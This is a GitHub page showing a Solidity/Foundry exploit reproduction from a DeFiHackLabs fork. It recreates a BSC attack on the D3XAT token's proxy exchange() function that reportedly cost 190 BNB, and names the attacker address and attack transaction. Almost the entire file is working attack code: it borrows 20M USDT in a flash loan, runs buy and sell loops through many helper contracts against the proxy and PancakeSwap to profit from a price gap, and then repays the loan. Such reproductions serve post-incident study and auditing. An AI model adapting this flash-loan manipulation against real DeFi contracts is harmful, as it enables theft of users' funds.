forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathd3xai_exp.sol
More file actions
220 lines (187 loc) · 8.31 KB
/
d3xai_exp.sol
File metadata and controls
220 lines (187 loc) · 8.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 190 BNB
// Attacker : https://bscscan.com/address/0x4b63c0cf524f71847ea05b59f3077a224d922e8d
// Attack Contract : https://bscscan.com/address/0x3b3e1edeb726b52d5de79cf8dd8b84995d9aa27c
// Vulnerable Contract : N/A
// Attack Tx : https://bscscan.com/tx/0x26bcefc152d8cd49f4bb13a9f8a6846be887d7075bc81fa07aa8c0019bd6591f
// @Info
// Vulnerable Contract Code : N/A
// @Analysis
// Post-mortem : N/A
// Twitter Guy : https://x.com/suplabsyi/status/1956695597546893598
// Hacking God : N/A
pragma solidity ^0.8.0;
address constant PANCAKE_V3_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;
address constant PROXY = 0xb8ad82c4771DAa852DdF00b70Ba4bE57D22eDD99;
address constant D3XAT = 0x2Cc8B879E3663d8126fe15daDaaA6Ca8D964BbBE;
contract d3xai is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 57780985 - 1;
uint256 numPancakeOperRound = 27;
address[] public pancakeBuyers = new address[](numPancakeOperRound);
address[] public pancakeSellers = new address[](numPancakeOperRound);
uint256 numProxyOperRound = 2;
address[] public proxyBuyers = new address[](numProxyOperRound);
ProxySeller proxySeller;
function setUp() public {
vm.createSelectFork("bsc", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = USDT_ADDR;
ProxyBuyerHelper proxyBuyerHelper = new ProxyBuyerHelper();
for (uint256 i = 0; i < proxyBuyers.length; i++) {
ProxyBuyer buyer = new ProxyBuyer(address(proxyBuyerHelper));
proxyBuyers[i] = address(buyer);
}
proxySeller = new ProxySeller();
PancakeBuyerHelper pancakeBuyerHelper = new PancakeBuyerHelper();
for (uint256 i = 0; i < pancakeBuyers.length; i++) {
PancakeBuyer buyer = new PancakeBuyer(address(pancakeBuyerHelper));
pancakeBuyers[i] = address(buyer);
}
for (uint256 i = 0; i < pancakeSellers.length; i++) {
PancakeSeller seller = new PancakeSeller();
pancakeSellers[i] = address(seller);
}
}
function testExploit() public balanceLog {
// Root cause: the proxy’s exchange() lets us buy low / sell high
// Attacker exploits it using a convoluted multi-step flow
// Step 1: flash loan 20M USDT
uint256 borrowAmount = 20_000_000 ether;
IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowAmount, 0, "");
}
function pancakeV3FlashCallback(
uint256 fee0,
uint256 fee1,
bytes calldata data
) public {
IERC20 usdt = IERC20(USDT_ADDR);
// Step 2: spends 24k USDT to buy D3XAT via the exchange()
address[] memory USDT_D3XAT_PATH = new address[](2);
USDT_D3XAT_PATH[0] = USDT_ADDR;
USDT_D3XAT_PATH[1] = D3XAT;
uint256 balStart = usdt.balanceOf(address(this));
for (uint256 i = 0; i < proxyBuyers.length; i++) {
ProxyBuyer buyer = ProxyBuyer(proxyBuyers[i]);
uint256 amountOut = 9000 ether;
(uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);
uint256 amountIn = amounts[0];
usdt.approve(address(buyer), amountIn);
buyer.buy(PROXY, USDT_ADDR, D3XAT, address(proxySeller), amountIn);
}
// Step 3: spend ~6.18M USDT to buy D3XAT from Pancake Router
for (uint256 i = 0; i < pancakeBuyers.length; i++) {
PancakeBuyer buyer = PancakeBuyer(pancakeBuyers[i]);
uint256 amountOut = 9900 ether;
(uint256[] memory amounts) = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsIn(amountOut, USDT_D3XAT_PATH);
uint256 amountIn = amounts[0];
usdt.approve(address(buyer), amountIn);
buyer.buy(USDT_ADDR, D3XAT, pancakeSellers[i], amountIn);
}
// Step 4: sell D3XAT from Step 2 via the exchange(). Gain 22.5k USDT
for (uint256 i = 0; i < 30; i++) {
uint256 amount = 29740606898687781957;
try proxySeller.sell(PROXY, D3XAT, USDT_ADDR, amount, address(this)) {
} catch {
break;
}
}
// Step 5: sell D3XAT from Step 3 to Pancake Router. Gain ~6.11M USDT
IERC20 d3xat = IERC20(D3XAT);
for (uint256 i = 0; i < pancakeSellers.length; i++) {
PancakeSeller seller = PancakeSeller(pancakeSellers[i]);
if (d3xat.balanceOf(address(seller)) > 0) {
seller.sell(USDT_ADDR, D3XAT, address(this));
}
}
IERC20(USDT_ADDR).transfer(PANCAKE_V3_POOL, 20_000_000 ether + fee0);
}
}
contract PancakeBuyerHelper {
// 0xacfca76f
function buy(address token1, address token2, address receiver, uint256 amount) public {
IERC20 usdt = IERC20(token1);
IERC20 d3xat = IERC20(token2);
usdt.transferFrom(msg.sender, address(this), amount);
usdt.approve(PANCAKE_ROUTER, amount);
address[] memory path = new address[](2);
path[0] = token1;
path[1] = token2;
IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
uint256 bal = d3xat.balanceOf(address(this));
d3xat.transfer(receiver, bal);
}
}
contract PancakeBuyer {
address targetContract;
constructor(address target) {
targetContract = target;
}
// 0xacfca76f
function buy(address token1, address token2, address receiver, uint256 amount) public {
(bool success, bytes memory result) = targetContract.delegatecall(
abi.encodeWithSignature("buy(address,address,address,uint256)", token1, token2, receiver, amount)
);
}
}
contract PancakeSeller {
// 0x83b95948
function sell(address tokenOut, address tokenIn, address receiver) public {
IERC20 d3xat = IERC20(tokenIn);
IERC20 usdt = IERC20(tokenOut);
uint256 d3Bal = d3xat.balanceOf(address(this));
d3xat.approve(PANCAKE_ROUTER, d3Bal);
address[] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(d3Bal, 0, path, address(this), block.timestamp);
uint256 bal = usdt.balanceOf(address(this));
usdt.transfer(receiver, bal);
}
}
contract ProxyBuyerHelper {
// 0xe09618e9
function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {
IERC20 usdt = IERC20(token1);
IERC20 d3xat = IERC20(token2);
usdt.transferFrom(msg.sender, address(this), amount);
usdt.approve(proxy, amount);
address[] memory path = new address[](2);
path[0] = token1;
path[1] = token2;
IProxy(proxy).exchange(token1, token2, amount);
uint256 bal = d3xat.balanceOf(address(this));
d3xat.transfer(receiver, bal);
}
}
contract ProxyBuyer {
address targetContract;
constructor(address target) {
targetContract = target;
}
// 0xe09618e9
function buy(address proxy, address token1, address token2, address receiver, uint256 amount) public {
(bool success, bytes memory result) = targetContract.delegatecall(
abi.encodeWithSignature("buy(address,address,address,address,uint256)", proxy, token1, token2, receiver, amount)
);
}
}
contract ProxySeller {
// 0x82839fae
function sell(address proxy, address fromToken, address toToken, uint256 amount, address receiver) public {
IERC20 d3xat = IERC20(fromToken);
IERC20 usdt = IERC20(toToken);
uint256 d3Bal = d3xat.balanceOf(address(this));
d3xat.approve(proxy, amount);
IProxy(proxy).exchange(fromToken, toToken, amount);
uint256 bal = usdt.balanceOf(address(this));
usdt.transfer(receiver, bal);
}
}
interface IProxy {
function exchange(address fromToken, address toToken, uint256 amount) external;
}